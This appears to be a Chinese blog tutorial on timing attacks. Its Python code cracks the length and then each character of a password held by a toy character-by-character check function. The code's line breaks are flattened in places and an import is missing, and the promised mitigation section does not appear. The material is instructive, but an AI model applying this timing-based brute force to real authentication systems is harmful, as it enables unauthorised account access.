用Python告诉你什么是计时攻击

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用户密码登陆是一个系统常见的鉴权方法，如果处理不当就会隐藏计时攻击漏洞。本文用Python告诉你什么是计时攻击，如何进行计时攻击，以及怎么避免。

什么是计时攻击

比如说你验证密码时是按照字符串一位一位的比较，如果某一位不匹配，就返回 False，这样就中招了。因为正确的密码必然需要每一位都参与比较，这样，攻击者就统计不同长度的输入所消耗的时间，消耗时间最长的，就是正确的密码长度。在这个密码长度之下，再逐位通过计时攻击进行破解，消耗时间较长的那个字符就是正确的，时间复杂度也就是O(n*k)，n 允许的字符数量，k 表示密码长度。

用 Python 进行计时攻击

比如说你使用这样的方法来验证用户登陆：

password_database = {"somenzz": "subscribe to python seven"} def check_password(user, guess):     actual = password_database[user]
    if len(guess) != len(actual):
        return False     
    # 逐个字符比较     for i in range(len(actual)):
        if guess[i] != actual[i]:
            return False     return True 

上面代码的逻辑虽然清晰，却存在计时攻击漏洞，因为长度不一样就返回了，花费的时间最少，当长度正确时需要逐个字符比较，花费时间最长。根据程序的执行耗时可以爆破出正确的密码长度。

比如说穷举 1-30 长度的密码，花费时间最长的那个一定是正确的密码长度，因此可以编写下面的代码来破解密码长度：

import string import timeit import numpy as np

allowed_chars = string.ascii_lowercase + " " def random_str(size):     return ''.join(random.choices(allowed_chars, k=size)) def crack_length(user, max_len=30, verbose=False) -> int:     trials = 2000     times = np.empty(max_len)
    for i in range(max_len):
        i_time = timeit.repeat(stmt='check_password(user, x)',
                               setup=f'user={user!r};x=random_str({i!r})',
                               globals=globals(),
                               number=trials,
                               repeat=10)
        times[i] = min(i_time)

    if verbose:
        # 排序，取最大的前 5 个         most_likely_n = np.argsort(times)[::-1][:5]
        print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])

    #取最大     most_likely = int(np.argmax(times))
    return most_likely 

 def main():     user = "somenzz"     length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")    if __name__ == '__main__':
    main()

执行结果如下：

有了长度，就可以逐个字符破解了，先随机一个 25 位长度的字符串，记为 guess，然后从第一位开始逐位爆破尝试，如果正确，那花费的时间肯定比之前的多，然后就更新 guess，就这样可以爆破出全部的字符串，运行期间如果通过了 check_password，那就返回结果，终止运行，代码如下：

import itertools import string import timeit import numpy as np """
将上面的代码复制过来
""" def crack_password(user, length, verbose=False):     guess = random_str(length)
    print(f"{guess=}")
    counter = itertools.count()
    print(f"{counter =}")
    trials = 1000     while True:
        i = next(counter) % length
        for c in allowed_chars:
            alt = guess[:i] + c + guess[i + 1:]

            alt_time = timeit.repeat(stmt='check_password(user, x)',
                                     setup=f'user={user!r};x={alt!r}',
                                     globals=globals(),
                                     number=trials,
                                     repeat=10)
            guess_time = timeit.repeat(stmt='check_password(user, x)',
                                       setup=f'user={user!r};x={guess!r}',
                                       globals=globals(),
                                       number=trials,
                                       repeat=10)

            if check_password(user, alt):
                return alt

            if min(alt_time) > min(guess_time):
                guess = alt
                if verbose:
                    print(guess)

                     def main():     user = "somenzz"     length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")
    input("按回车继续破解密码...")
    password = crack_password(user, length, verbose=True)
    print(f"password cracked:'{password}'") if __name__ == '__main__':
    main()

运行效果如下：

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